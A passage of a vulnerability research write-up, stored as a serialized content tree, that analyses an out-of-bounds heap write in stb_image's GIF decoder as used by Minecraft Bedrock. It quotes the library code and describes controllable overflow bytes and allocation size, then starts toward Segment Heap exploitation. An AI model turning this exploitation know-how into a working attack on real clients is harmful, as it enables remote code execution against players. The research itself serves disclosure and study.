ype":29,"value":814},{"type":23,"tag":75,"props":158955,"children":158956},{"style":237},[158957],{"type":29,"value":648},{"type":23,"tag":75,"props":158959,"children":158960},{"style":94},[158961],{"type":29,"value":42769},{"type":23,"tag":75,"props":158963,"children":158964},{"class":77,"line":349},[158965,158969,158973,158977,158981,158985,158989,158993,158997],{"type":23,"tag":75,"props":158966,"children":158967},{"style":110},[158968],{"type":29,"value":158846},{"type":23,"tag":75,"props":158970,"children":158971},{"style":94},[158972],{"type":29,"value":814},{"type":23,"tag":75,"props":158974,"children":158975},{"style":237},[158976],{"type":29,"value":28518},{"type":23,"tag":75,"props":158978,"children":158979},{"style":94},[158980],{"type":29,"value":13463},{"type":23,"tag":75,"props":158982,"children":158983},{"style":209},[158984],{"type":29,"value":212},{"type":23,"tag":75,"props":158986,"children":158987},{"style":110},[158988],{"type":29,"value":48636},{"type":23,"tag":75,"props":158990,"children":158991},{"style":94},[158992],{"type":29,"value":814},{"type":23,"tag":75,"props":158994,"children":158995},{"style":237},[158996],{"type":29,"value":28518},{"type":23,"tag":75,"props":158998,"children":158999},{"style":94},[159000],{"type":29,"value":42769},{"type":23,"tag":75,"props":159002,"children":159003},{"class":77,"line":363},[159004],{"type":23,"tag":75,"props":159005,"children":159006},{"style":94},[159007],{"type":29,"value":45942},{"type":23,"tag":32,"props":159009,"children":159010},{},[159011,159013,159018,159020,159025],{"type":29,"value":159012},"This confirms ",{"type":23,"tag":71,"props":159014,"children":159016},{"className":159015},[],[159017],{"type":29,"value":744},{"type":29,"value":159019}," is OOB for ",{"type":23,"tag":71,"props":159021,"children":159023},{"className":159022},[],[159024],{"type":29,"value":158503},{"type":29,"value":159026}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":23,"tag":32,"props":159028,"children":159029},{},[159030,159032,159038,159040,159047],{"type":29,"value":159031},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":23,"tag":71,"props":159033,"children":159035},{"className":159034},[],[159036],{"type":29,"value":159037},"g->color_table",{"type":29,"value":159039}," is populated by ",{"type":23,"tag":940,"props":159041,"children":159044},{"href":159042,"rel":159043},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[944],[159045],{"type":29,"value":159046},"stbi__gif_parse_colortable",{"type":29,"value":1018},{"type":23,"tag":64,"props":159049,"children":159051},{"code":159050,"language":14432,"meta":7,"className":27738,"style":7},"static void stbi__gif_parse_colortable(\n    stbi__context *s,\n    stbi_uc pal[256][4],    // g->color_table\n    int num_entries,\n    int transp\n) {\n   int i;\n   for (i=0; i \u003C num_entries; ++i) {\n      pal[i][2] = stbi__get8(s);\n      pal[i][1] = stbi__get8(s);\n      pal[i][0] = stbi__get8(s);\n      pal[i][3] = transp == i ? 0 : 255;\n   }\n}\n",[159052],{"type":23,"tag":71,"props":159053,"children":159054},{"__ignoreMap":7},[159055,159075,159095,159134,159150,159162,159169,159180,159223,159257,159288,159319,159376,159383],{"type":23,"tag":75,"props":159056,"children":159057},{"class":77,"line":78},[159058,159062,159066,159071],{"type":23,"tag":75,"props":159059,"children":159060},{"style":82},[159061],{"type":29,"value":62229},{"type":23,"tag":75,"props":159063,"children":159064},{"style":82},[159065],{"type":29,"value":62234},{"type":23,"tag":75,"props":159067,"children":159068},{"style":88},[159069],{"type":29,"value":159070}," stbi__gif_parse_colortable",{"type":23,"tag":75,"props":159072,"children":159073},{"style":94},[159074],{"type":29,"value":97},{"type":23,"tag":75,"props":159076,"children":159077},{"class":77,"line":100},[159078,159083,159087,159091],{"type":23,"tag":75,"props":159079,"children":159080},{"style":94},[159081],{"type":29,"value":159082},"    stbi__context ",{"type":23,"tag":75,"props":159084,"children":159085},{"style":209},[159086],{"type":29,"value":601},{"type":23,"tag":75,"props":159088,"children":159089},{"style":110},[159090],{"type":29,"value":21899},{"type":23,"tag":75,"props":159092,"children":159093},{"style":94},[159094],{"type":29,"value":118},{"type":23,"tag":75,"props":159096,"children":159097},{"class":77,"line":121},[159098,159103,159108,159112,159116,159120,159124,159129],{"type":23,"tag":75,"props":159099,"children":159100},{"style":94},[159101],{"type":29,"value":159102},"    stbi_uc ",{"type":23,"tag":75,"props":159104,"children":159105},{"style":110},[159106],{"type":29,"value":159107},"pal",{"type":23,"tag":75,"props":159109,"children":159110},{"style":94},[159111],{"type":29,"value":814},{"type":23,"tag":75,"props":159113,"children":159114},{"style":237},[159115],{"type":29,"value":103630},{"type":23,"tag":75,"props":159117,"children":159118},{"style":94},[159119],{"type":29,"value":13526},{"type":23,"tag":75,"props":159121,"children":159122},{"style":237},[159123],{"type":29,"value":28751},{"type":23,"tag":75,"props":159125,"children":159126},{"style":94},[159127],{"type":29,"value":159128},"],",{"type":23,"tag":75,"props":159130,"children":159131},{"style":3621},[159132],{"type":29,"value":159133},"    // g->color_table\n",{"type":23,"tag":75,"props":159135,"children":159136},{"class":77,"line":138},[159137,159141,159146],{"type":23,"tag":75,"props":159138,"children":159139},{"style":82},[159140],{"type":29,"value":30300},{"type":23,"tag":75,"props":159142,"children":159143},{"style":110},[159144],{"type":29,"value":159145}," num_entries",{"type":23,"tag":75,"props":159147,"children":159148},{"style":94},[159149],{"type":29,"value":118},{"type":23,"tag":75,"props":159151,"children":159152},{"class":77,"line":161},[159153,159157],{"type":23,"tag":75,"props":159154,"children":159155},{"style":82},[159156],{"type":29,"value":30300},{"type":23,"tag":75,"props":159158,"children":159159},{"style":94},[159160],{"type":29,"value":159161}," transp\n",{"type":23,"tag":75,"props":159163,"children":159164},{"class":77,"line":196},[159165],{"type":23,"tag":75,"props":159166,"children":159167},{"style":94},[159168],{"type":29,"value":193},{"type":23,"tag":75,"props":159170,"children":159171},{"class":77,"line":220},[159172,159176],{"type":23,"tag":75,"props":159173,"children":159174},{"style":82},[159175],{"type":29,"value":158224},{"type":23,"tag":75,"props":159177,"children":159178},{"style":94},[159179],{"type":29,"value":69147},{"type":23,"tag":75,"props":159181,"children":159182},{"class":77,"line":248},[159183,159188,159193,159197,159201,159205,159209,159214,159218],{"type":23,"tag":75,"props":159184,"children":159185},{"style":175},[159186],{"type":29,"value":159187},"   for",{"type":23,"tag":75,"props":159189,"children":159190},{"style":94},[159191],{"type":29,"value":159192}," (i",{"type":23,"tag":75,"props":159194,"children":159195},{"style":209},[159196],{"type":29,"value":212},{"type":23,"tag":75,"props":159198,"children":159199},{"style":237},[159200],{"type":29,"value":648},{"type":23,"tag":75,"props":159202,"children":159203},{"style":94},[159204],{"type":29,"value":62418},{"type":23,"tag":75,"props":159206,"children":159207},{"style":209},[159208],{"type":29,"value":295},{"type":23,"tag":75,"props":159210,"children":159211},{"style":94},[159212],{"type":29,"value":159213}," num_entries; ",{"type":23,"tag":75,"props":159215,"children":159216},{"style":209},[159217],{"type":29,"value":62454},{"type":23,"tag":75,"props":159219,"children":159220},{"style":94},[159221],{"type":29,"value":159222},"i) {\n",{"type":23,"tag":75,"props":159224,"children":159225},{"class":77,"line":270},[159226,159231,159235,159239,159243,159247,159252],{"type":23,"tag":75,"props":159227,"children":159228},{"style":110},[159229],{"type":29,"value":159230},"      pal",{"type":23,"tag":75,"props":159232,"children":159233},{"style":94},[159234],{"type":29,"value":71836},{"type":23,"tag":75,"props":159236,"children":159237},{"style":237},[159238],{"type":29,"value":14409},{"type":23,"tag":75,"props":159240,"children":159241},{"style":94},[159242],{"type":29,"value":13463},{"type":23,"tag":75,"props":159244,"children":159245},{"style":209},[159246],{"type":29,"value":212},{"type":23,"tag":75,"props":159248,"children":159249},{"style":88},[159250],{"type":29,"value":159251}," stbi__get8",{"type":23,"tag":75,"props":159253,"children":159254},{"style":94},[159255],{"type":29,"value":159256},"(s);\n",{"type":23,"tag":75,"props":159258,"children":159259},{"class":77,"line":279},[159260,159264,159268,159272,159276,159280,159284],{"type":23,"tag":75,"props":159261,"children":159262},{"style":110},[159263],{"type":29,"value":159230},{"type":23,"tag":75,"props":159265,"children":159266},{"style":94},[159267],{"type":29,"value":71836},{"type":23,"tag":75,"props":159269,"children":159270},{"style":237},[159271],{"type":29,"value":7867},{"type":23,"tag":75,"props":159273,"children":159274},{"style":94},[159275],{"type":29,"value":13463},{"type":23,"tag":75,"props":159277,"children":159278},{"style":209},[159279],{"type":29,"value":212},{"type":23,"tag":75,"props":159281,"children":159282},{"style":88},[159283],{"type":29,"value":159251},{"type":23,"tag":75,"props":159285,"children":159286},{"style":94},[159287],{"type":29,"value":159256},{"type":23,"tag":75,"props":159289,"children":159290},{"class":77,"line":303},[159291,159295,159299,159303,159307,159311,159315],{"type":23,"tag":75,"props":159292,"children":159293},{"style":110},[159294],{"type":29,"value":159230},{"type":23,"tag":75,"props":159296,"children":159297},{"style":94},[159298],{"type":29,"value":71836},{"type":23,"tag":75,"props":159300,"children":159301},{"style":237},[159302],{"type":29,"value":648},{"type":23,"tag":75,"props":159304,"children":159305},{"style":94},[159306],{"type":29,"value":13463},{"type":23,"tag":75,"props":159308,"children":159309},{"style":209},[159310],{"type":29,"value":212},{"type":23,"tag":75,"props":159312,"children":159313},{"style":88},[159314],{"type":29,"value":159251},{"type":23,"tag":75,"props":159316,"children":159317},{"style":94},[159318],{"type":29,"value":159256},{"type":23,"tag":75,"props":159320,"children":159321},{"class":77,"line":322},[159322,159326,159330,159334,159338,159342,159347,159351,159355,159359,159363,159367,159372],{"type":23,"tag":75,"props":159323,"children":159324},{"style":110},[159325],{"type":29,"value":159230},{"type":23,"tag":75,"props":159327,"children":159328},{"style":94},[159329],{"type":29,"value":71836},{"type":23,"tag":75,"props":159331,"children":159332},{"style":237},[159333],{"type":29,"value":28518},{"type":23,"tag":75,"props":159335,"children":159336},{"style":94},[159337],{"type":29,"value":13463},{"type":23,"tag":75,"props":159339,"children":159340},{"style":209},[159341],{"type":29,"value":212},{"type":23,"tag":75,"props":159343,"children":159344},{"style":94},[159345],{"type":29,"value":159346}," transp ",{"type":23,"tag":75,"props":159348,"children":159349},{"style":209},[159350],{"type":29,"value":2469},{"type":23,"tag":75,"props":159352,"children":159353},{"style":94},[159354],{"type":29,"value":65728},{"type":23,"tag":75,"props":159356,"children":159357},{"style":209},[159358],{"type":29,"value":1225},{"type":23,"tag":75,"props":159360,"children":159361},{"style":237},[159362],{"type":29,"value":240},{"type":23,"tag":75,"props":159364,"children":159365},{"style":209},[159366],{"type":29,"value":46310},{"type":23,"tag":75,"props":159368,"children":159369},{"style":237},[159370],{"type":29,"value":159371}," 255",{"type":23,"tag":75,"props":159373,"children":159374},{"style":94},[159375],{"type":29,"value":245},{"type":23,"tag":75,"props":159377,"children":159378},{"class":77,"line":340},[159379],{"type":23,"tag":75,"props":159380,"children":159381},{"style":94},[159382],{"type":29,"value":45942},{"type":23,"tag":75,"props":159384,"children":159385},{"class":77,"line":349},[159386],{"type":23,"tag":75,"props":159387,"children":159388},{"style":94},[159389],{"type":29,"value":369},{"type":23,"tag":32,"props":159391,"children":159392},{},[159393,159395,159400,159401,159406,159408,159413],{"type":29,"value":159394},"The first three bytes are read from the input image, while the last byte can be either ",{"type":23,"tag":71,"props":159396,"children":159398},{"className":159397},[],[159399],{"type":29,"value":648},{"type":29,"value":24377},{"type":23,"tag":71,"props":159402,"children":159404},{"className":159403},[],[159405],{"type":29,"value":123678},{"type":29,"value":159407},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":23,"tag":71,"props":159409,"children":159411},{"className":159410},[],[159412],{"type":29,"value":41043},{"type":29,"value":1018},{"type":23,"tag":64,"props":159415,"children":159417},{"code":159416,"language":14432,"meta":7,"className":27738,"style":7},"   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[159418],{"type":23,"tag":71,"props":159419,"children":159420},{"__ignoreMap":7},[159421,159484,159523,159562,159601,159640,159679],{"type":23,"tag":75,"props":159422,"children":159423},{"class":77,"line":78},[159424,159428,159432,159436,159440,159444,159448,159452,159456,159460,159464,159468,159472,159476,159480],{"type":23,"tag":75,"props":159425,"children":159426},{"style":94},[159427],{"type":29,"value":158738},{"type":23,"tag":75,"props":159429,"children":159430},{"style":209},[159431],{"type":29,"value":212},{"type":23,"tag":75,"props":159433,"children":159434},{"style":209},[159435],{"type":29,"value":844},{"type":23,"tag":75,"props":159437,"children":159438},{"style":94},[159439],{"type":29,"value":119633},{"type":23,"tag":75,"props":159441,"children":159442},{"style":209},[159443],{"type":29,"value":1156},{"type":23,"tag":75,"props":159445,"children":159446},{"style":110},[159447],{"type":29,"value":158759},{"type":23,"tag":75,"props":159449,"children":159450},{"style":94},[159451],{"type":29,"value":814},{"type":23,"tag":75,"props":159453,"children":159454},{"style":110},[159455],{"type":29,"value":119633},{"type":23,"tag":75,"props":159457,"children":159458},{"style":94},[159459],{"type":29,"value":1156},{"type":23,"tag":75,"props":159461,"children":159462},{"style":110},[159463],{"type":29,"value":158776},{"type":23,"tag":75,"props":159465,"children":159466},{"style":94},[159467],{"type":29,"value":158781},{"type":23,"tag":75,"props":159469,"children":159470},{"style":110},[159471],{"type":29,"value":158786},{"type":23,"tag":75,"props":159473,"children":159474},{"style":209},[159475],{"type":29,"value":579},{"type":23,"tag":75,"props":159477,"children":159478},{"style":237},[159479],{"type":29,"value":22992},{"type":23,"tag":75,"props":159481,"children":159482},{"style":94},[159483],{"type":29,"value":42769},{"type":23,"tag":75,"props":159485,"children":159486},{"class":77,"line":100},[159487,159491,159495,159499,159503,159507,159511,159515,159519],{"type":23,"tag":75,"props":159488,"children":159489},{"style":175},[159490],{"type":29,"value":63829},{"type":23,"tag":75,"props":159492,"children":159493},{"style":94},[159494],{"type":29,"value":183},{"type":23,"tag":75,"props":159496,"children":159497},{"style":110},[159498],{"type":29,"value":14432},{"type":23,"tag":75,"props":159500,"children":159501},{"style":94},[159502],{"type":29,"value":814},{"type":23,"tag":75,"props":159504,"children":159505},{"style":237},[159506],{"type":29,"value":28518},{"type":23,"tag":75,"props":159508,"children":159509},{"style":94},[159510],{"type":29,"value":13463},{"type":23,"tag":75,"props":159512,"children":159513},{"style":209},[159514],{"type":29,"value":4652},{"type":23,"tag":75,"props":159516,"children":159517},{"style":237},[159518],{"type":29,"value":158834},{"type":23,"tag":75,"props":159520,"children":159521},{"style":94},[159522],{"type":29,"value":193},{"type":23,"tag":75,"props":159524,"children":159525},{"class":77,"line":121},[159526,159530,159534,159538,159542,159546,159550,159554,159558],{"type":23,"tag":75,"props":159527,"children":159528},{"style":110},[159529],{"type":29,"value":158846},{"type":23,"tag":75,"props":159531,"children":159532},{"style":94},[159533],{"type":29,"value":814},{"type":23,"tag":75,"props":159535,"children":159536},{"style":237},[159537],{"type":29,"value":648},{"type":23,"tag":75,"props":159539,"children":159540},{"style":94},[159541],{"type":29,"value":13463},{"type":23,"tag":75,"props":159543,"children":159544},{"style":209},[159545],{"type":29,"value":212},{"type":23,"tag":75,"props":159547,"children":159548},{"style":110},[159549],{"type":29,"value":48636},{"type":23,"tag":75,"props":159551,"children":159552},{"style":94},[159553],{"type":29,"value":814},{"type":23,"tag":75,"props":159555,"children":159556},{"style":237},[159557],{"type":29,"value":14409},{"type":23,"tag":75,"props":159559,"children":159560},{"style":94},[159561],{"type":29,"value":42769},{"type":23,"tag":75,"props":159563,"children":159564},{"class":77,"line":138},[159565,159569,159573,159577,159581,159585,159589,159593,159597],{"type":23,"tag":75,"props":159566,"children":159567},{"style":110},[159568],{"type":29,"value":158846},{"type":23,"tag":75,"props":159570,"children":159571},{"style":94},[159572],{"type":29,"value":814},{"type":23,"tag":75,"props":159574,"children":159575},{"style":237},[159576],{"type":29,"value":7867},{"type":23,"tag":75,"props":159578,"children":159579},{"style":94},[159580],{"type":29,"value":13463},{"type":23,"tag":75,"props":159582,"children":159583},{"style":209},[159584],{"type":29,"value":212},{"type":23,"tag":75,"props":159586,"children":159587},{"style":110},[159588],{"type":29,"value":48636},{"type":23,"tag":75,"props":159590,"children":159591},{"style":94},[159592],{"type":29,"value":814},{"type":23,"tag":75,"props":159594,"children":159595},{"style":237},[159596],{"type":29,"value":7867},{"type":23,"tag":75,"props":159598,"children":159599},{"style":94},[159600],{"type":29,"value":42769},{"type":23,"tag":75,"props":159602,"children":159603},{"class":77,"line":161},[159604,159608,159612,159616,159620,159624,159628,159632,159636],{"type":23,"tag":75,"props":159605,"children":159606},{"style":110},[159607],{"type":29,"value":158846},{"type":23,"tag":75,"props":159609,"children":159610},{"style":94},[159611],{"type":29,"value":814},{"type":23,"tag":75,"props":159613,"children":159614},{"style":237},[159615],{"type":29,"value":14409},{"type":23,"tag":75,"props":159617,"children":159618},{"style":94},[159619],{"type":29,"value":13463},{"type":23,"tag":75,"props":159621,"children":159622},{"style":209},[159623],{"type":29,"value":212},{"type":23,"tag":75,"props":159625,"children":159626},{"style":110},[159627],{"type":29,"value":48636},{"type":23,"tag":75,"props":159629,"children":159630},{"style":94},[159631],{"type":29,"value":814},{"type":23,"tag":75,"props":159633,"children":159634},{"style":237},[159635],{"type":29,"value":648},{"type":23,"tag":75,"props":159637,"children":159638},{"style":94},[159639],{"type":29,"value":42769},{"type":23,"tag":75,"props":159641,"children":159642},{"class":77,"line":196},[159643,159647,159651,159655,159659,159663,159667,159671,159675],{"type":23,"tag":75,"props":159644,"children":159645},{"style":110},[159646],{"type":29,"value":158846},{"type":23,"tag":75,"props":159648,"children":159649},{"style":94},[159650],{"type":29,"value":814},{"type":23,"tag":75,"props":159652,"children":159653},{"style":237},[159654],{"type":29,"value":28518},{"type":23,"tag":75,"props":159656,"children":159657},{"style":94},[159658],{"type":29,"value":13463},{"type":23,"tag":75,"props":159660,"children":159661},{"style":209},[159662],{"type":29,"value":212},{"type":23,"tag":75,"props":159664,"children":159665},{"style":110},[159666],{"type":29,"value":48636},{"type":23,"tag":75,"props":159668,"children":159669},{"style":94},[159670],{"type":29,"value":814},{"type":23,"tag":75,"props":159672,"children":159673},{"style":237},[159674],{"type":29,"value":28518},{"type":23,"tag":75,"props":159676,"children":159677},{"style":94},[159678],{"type":29,"value":42769},{"type":23,"tag":75,"props":159680,"children":159681},{"class":77,"line":220},[159682],{"type":23,"tag":75,"props":159683,"children":159684},{"style":94},[159685],{"type":29,"value":45942},{"type":23,"tag":32,"props":159687,"children":159688},{},[159689,159690,159695,159697,159702,159704,159709],{"type":29,"value":35219},{"type":23,"tag":71,"props":159691,"children":159693},{"className":159692},[],[159694],{"type":29,"value":159046},{"type":29,"value":159696}," has to set the last byte to ",{"type":23,"tag":71,"props":159698,"children":159700},{"className":159699},[],[159701],{"type":29,"value":123678},{"type":29,"value":159703}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":23,"tag":71,"props":159705,"children":159707},{"className":159706},[],[159708],{"type":29,"value":123678},{"type":29,"value":557},{"type":23,"tag":32,"props":159711,"children":159712},{},[159713,159715,159720,159722,159728,159729,159735],{"type":29,"value":159714},"In the code we can see that size of the ",{"type":23,"tag":71,"props":159716,"children":159718},{"className":159717},[],[159719],{"type":29,"value":158503},{"type":29,"value":159721}," allocation is controlled through ",{"type":23,"tag":71,"props":159723,"children":159725},{"className":159724},[],[159726],{"type":29,"value":159727},"g->w",{"type":29,"value":2721},{"type":23,"tag":71,"props":159730,"children":159732},{"className":159731},[],[159733],{"type":29,"value":159734},"g->h",{"type":29,"value":159736}," values, both of which are read from the input file itself:",{"type":23,"tag":64,"props":159738,"children":159740},{"code":159739,"language":14432,"meta":7,"className":27738,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n   [...]\n   if (g->out == 0) {\n      if (!stbi__gif_header(s, g, comp,0))     return 0;\n      g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[159741],{"type":23,"tag":71,"props":159742,"children":159743},{"__ignoreMap":7},[159744,159769,159776,159783,159818,159864],{"type":23,"tag":75,"props":159745,"children":159746},{"class":77,"line":78},[159747,159751,159756,159760,159764],{"type":23,"tag":75,"props":159748,"children":159749},{"style":82},[159750],{"type":29,"value":62229},{"type":23,"tag":75,"props":159752,"children":159753},{"style":94},[159754],{"type":29,"value":159755}," stbi_uc ",{"type":23,"tag":75,"props":159757,"children":159758},{"style":209},[159759],{"type":29,"value":601},{"type":23,"tag":75,"props":159761,"children":159762},{"style":88},[159763],{"type":29,"value":157682},{"type":23,"tag":75,"props":159765,"children":159766},{"style":94},[159767],{"type":29,"value":159768},"(...)\n",{"type":23,"tag":75,"props":159770,"children":159771},{"class":77,"line":100},[159772],{"type":23,"tag":75,"props":159773,"children":159774},{"style":94},[159775],{"type":29,"value":2549},{"type":23,"tag":75,"props":159777,"children":159778},{"class":77,"line":121},[159779],{"type":23,"tag":75,"props":159780,"children":159781},{"style":94},[159782],{"type":29,"value":158244},{"type":23,"tag":75,"props":159784,"children":159785},{"class":77,"line":138},[159786,159790,159794,159798,159802,159806,159810,159814],{"type":23,"tag":75,"props":159787,"children":159788},{"style":175},[159789],{"type":29,"value":63829},{"type":23,"tag":75,"props":159791,"children":159792},{"style":94},[159793],{"type":29,"value":183},{"type":23,"tag":75,"props":159795,"children":159796},{"style":110},[159797],{"type":29,"value":119633},{"type":23,"tag":75,"props":159799,"children":159800},{"style":94},[159801],{"type":29,"value":1156},{"type":23,"tag":75,"props":159803,"children":159804},{"style":110},[159805],{"type":29,"value":129056},{"type":23,"tag":75,"props":159807,"children":159808},{"style":209},[159809],{"type":29,"value":1372},{"type":23,"tag":75,"props":159811,"children":159812},{"style":237},[159813],{"type":29,"value":240},{"type":23,"tag":75,"props":159815,"children":159816},{"style":94},[159817],{"type":29,"value":193},{"type":23,"tag":75,"props":159819,"children":159820},{"class":77,"line":161},[159821,159825,159829,159833,159838,159843,159847,159852,159856,159860],{"type":23,"tag":75,"props":159822,"children":159823},{"style":175},[159824],{"type":29,"value":50476},{"type":23,"tag":75,"props":159826,"children":159827},{"style":94},[159828],{"type":29,"value":183},{"type":23,"tag":75,"props":159830,"children":159831},{"style":209},[159832],{"type":29,"value":13434},{"type":23,"tag":75,"props":159834,"children":159835},{"style":88},[159836],{"type":29,"value":159837},"stbi__gif_header",{"type":23,"tag":75,"props":159839,"children":159840},{"style":94},[159841],{"type":29,"value":159842},"(s, g, comp,",{"type":23,"tag":75,"props":159844,"children":159845},{"style":237},[159846],{"type":29,"value":648},{"type":23,"tag":75,"props":159848,"children":159849},{"style":94},[159850],{"type":29,"value":159851},"))     ",{"type":23,"tag":75,"props":159853,"children":159854},{"style":175},[159855],{"type":29,"value":59647},{"type":23,"tag":75,"props":159857,"children":159858},{"style":237},[159859],{"type":29,"value":240},{"type":23,"tag":75,"props":159861,"children":159862},{"style":94},[159863],{"type":29,"value":245},{"type":23,"tag":75,"props":159865,"children":159866},{"class":77,"line":196},[159867,159872,159876,159880,159884,159889,159893,159897,159902,159906,159910,159914,159918,159922,159926,159930,159934,159938,159942],{"type":23,"tag":75,"props":159868,"children":159869},{"style":110},[159870],{"type":29,"value":159871},"      g",{"type":23,"tag":75,"props":159873,"children":159874},{"style":94},[159875],{"type":29,"value":1156},{"type":23,"tag":75,"props":159877,"children":159878},{"style":110},[159879],{"type":29,"value":129056},{"type":23,"tag":75,"props":159881,"children":159882},{"style":209},[159883],{"type":29,"value":1193},{"type":23,"tag":75,"props":159885,"children":159886},{"style":94},[159887],{"type":29,"value":159888}," (stbi_uc ",{"type":23,"tag":75,"props":159890,"children":159891},{"style":209},[159892],{"type":29,"value":601},{"type":23,"tag":75,"props":159894,"children":159895},{"style":94},[159896],{"type":29,"value":167},{"type":23,"tag":75,"props":159898,"children":159899},{"style":88},[159900],{"type":29,"value":159901},"stbi__malloc",{"type":23,"tag":75,"props":159903,"children":159904},{"style":94},[159905],{"type":29,"value":643},{"type":23,"tag":75,"props":159907,"children":159908},{"style":237},[159909],{"type":29,"value":28751},{"type":23,"tag":75,"props":159911,"children":159912},{"style":209},[159913],{"type":29,"value":579},{"type":23,"tag":75,"props":159915,"children":159916},{"style":110},[159917],{"type":29,"value":158284},{"type":23,"tag":75,"props":159919,"children":159920},{"style":94},[159921],{"type":29,"value":1156},{"type":23,"tag":75,"props":159923,"children":159924},{"style":110},[159925],{"type":29,"value":60758},{"type":23,"tag":75,"props":159927,"children":159928},{"style":209},[159929],{"type":29,"value":579},{"type":23,"tag":75,"props":159931,"children":159932},{"style":110},[159933],{"type":29,"value":158284},{"type":23,"tag":75,"props":159935,"children":159936},{"style":94},[159937],{"type":29,"value":1156},{"type":23,"tag":75,"props":159939,"children":159940},{"style":110},[159941],{"type":29,"value":8730},{"type":23,"tag":75,"props":159943,"children":159944},{"style":94},[159945],{"type":29,"value":15099},{"type":23,"tag":32,"props":159947,"children":159948},{},[159949,159951,159956,159958,159963],{"type":29,"value":159950},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":23,"tag":71,"props":159952,"children":159954},{"className":159953},[],[159955],{"type":29,"value":158503},{"type":29,"value":159957}," and the value of ",{"type":23,"tag":71,"props":159959,"children":159961},{"className":159960},[],[159962],{"type":29,"value":32},{"type":29,"value":159964}," just before the OOB write happens:",{"type":23,"tag":64,"props":159966,"children":159968},{"code":159967},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[159969],{"type":23,"tag":71,"props":159970,"children":159971},{"__ignoreMap":7},[159972],{"type":29,"value":159967},{"type":23,"tag":32,"props":159974,"children":159975},{},[159976,159978,159983,159985,159990],{"type":29,"value":159977},"There are multiple within-bound writes to ",{"type":23,"tag":71,"props":159979,"children":159981},{"className":159980},[],[159982],{"type":29,"value":32},{"type":29,"value":159984},", but the last write happens just after the ",{"type":23,"tag":71,"props":159986,"children":159988},{"className":159987},[],[159989],{"type":29,"value":158503},{"type":29,"value":159991}," allocation.",{"type":23,"tag":923,"props":159993,"children":159995},{"id":159994},"summarizing-the-corruption",[159996],{"type":29,"value":159997},"Summarizing the Corruption",{"type":23,"tag":27910,"props":159999,"children":160000},{},[160001,160014,160042],{"type":23,"tag":2801,"props":160002,"children":160003},{},[160004,160006,160012],{"type":29,"value":160005},"A single ",{"type":23,"tag":71,"props":160007,"children":160009},{"className":160008},[],[160010],{"type":29,"value":160011},"0x01",{"type":29,"value":160013}," byte write OOB",{"type":23,"tag":2801,"props":160015,"children":160016},{},[160017,160019],{"type":29,"value":160018},"4-byte OOB write just above the allocated buffer\n",{"type":23,"tag":27910,"props":160020,"children":160021},{},[160022,160027,160037],{"type":23,"tag":2801,"props":160023,"children":160024},{},[160025],{"type":29,"value":160026},"First three bytes are controllable",{"type":23,"tag":2801,"props":160028,"children":160029},{},[160030,160032],{"type":29,"value":160031},"Last byte will be ",{"type":23,"tag":71,"props":160033,"children":160035},{"className":160034},[],[160036],{"type":29,"value":123678},{"type":23,"tag":2801,"props":160038,"children":160039},{},[160040],{"type":29,"value":160041},"Size of the allocation is controlled",{"type":23,"tag":2801,"props":160043,"children":160044},{},[160045,160047],{"type":29,"value":160046},"Both corruptions are done on a short-lived allocation\n",{"type":23,"tag":27910,"props":160048,"children":160049},{},[160050,160055],{"type":23,"tag":2801,"props":160051,"children":160052},{},[160053],{"type":29,"value":160054},"Allocated just before the image-parsing process",{"type":23,"tag":2801,"props":160056,"children":160057},{},[160058],{"type":29,"value":160059},"Freed immediately upon parsing completion",{"type":23,"tag":30016,"props":160061,"children":160062},{},[],{"type":23,"tag":32,"props":160064,"children":160065},{},[160066,160068,160075,160077,160084],{"type":29,"value":160067},"Note that this bug was already found before (",{"type":23,"tag":940,"props":160069,"children":160072},{"href":160070,"rel":160071},"https://github.com/nothings/stb/issues/656",[944],[160073],{"type":29,"value":160074},"Github Issue",{"type":29,"value":160076},") but we missed it at the time. It was later fixed in ",{"type":23,"tag":940,"props":160078,"children":160081},{"href":160079,"rel":160080},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[944],[160082],{"type":29,"value":160083},"this commit",{"type":29,"value":557},{"type":23,"tag":24,"props":160086,"children":160087},{"id":16691},[160088],{"type":29,"value":16694},{"type":23,"tag":32,"props":160090,"children":160091},{},[160092],{"type":29,"value":160093},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":23,"tag":32,"props":160095,"children":160096},{},[160097],{"type":29,"value":160098},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":23,"tag":923,"props":160100,"children":160102},{"id":160101},"searching-for-better-primitives",[160103],{"type":29,"value":160104},"Searching for Better Primitives",{"type":23,"tag":32,"props":160106,"children":160107},{},[160108],{"type":29,"value":160109},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":23,"tag":32,"props":160111,"children":160112},{},[160113,160115,160122],{"type":29,"value":160114},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":23,"tag":940,"props":160116,"children":160119},{"href":160117,"rel":160118},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[944],[160120],{"type":29,"value":160121},"UWP",{"type":29,"value":160123}," applications (such as Minecraft Bedrock Edition).",{"type":23,"tag":923,"props":160125,"children":160127},{"id":160126},"segment-heap",[160128],{"type":29,"value":160129},"Segment Heap",{"type":23,"tag":32,"props":160131,"children":160132},{},[160133,160135,160142],{"type":29,"value":160134},"The internals of this heap implementation have been explored a number of times before (for an 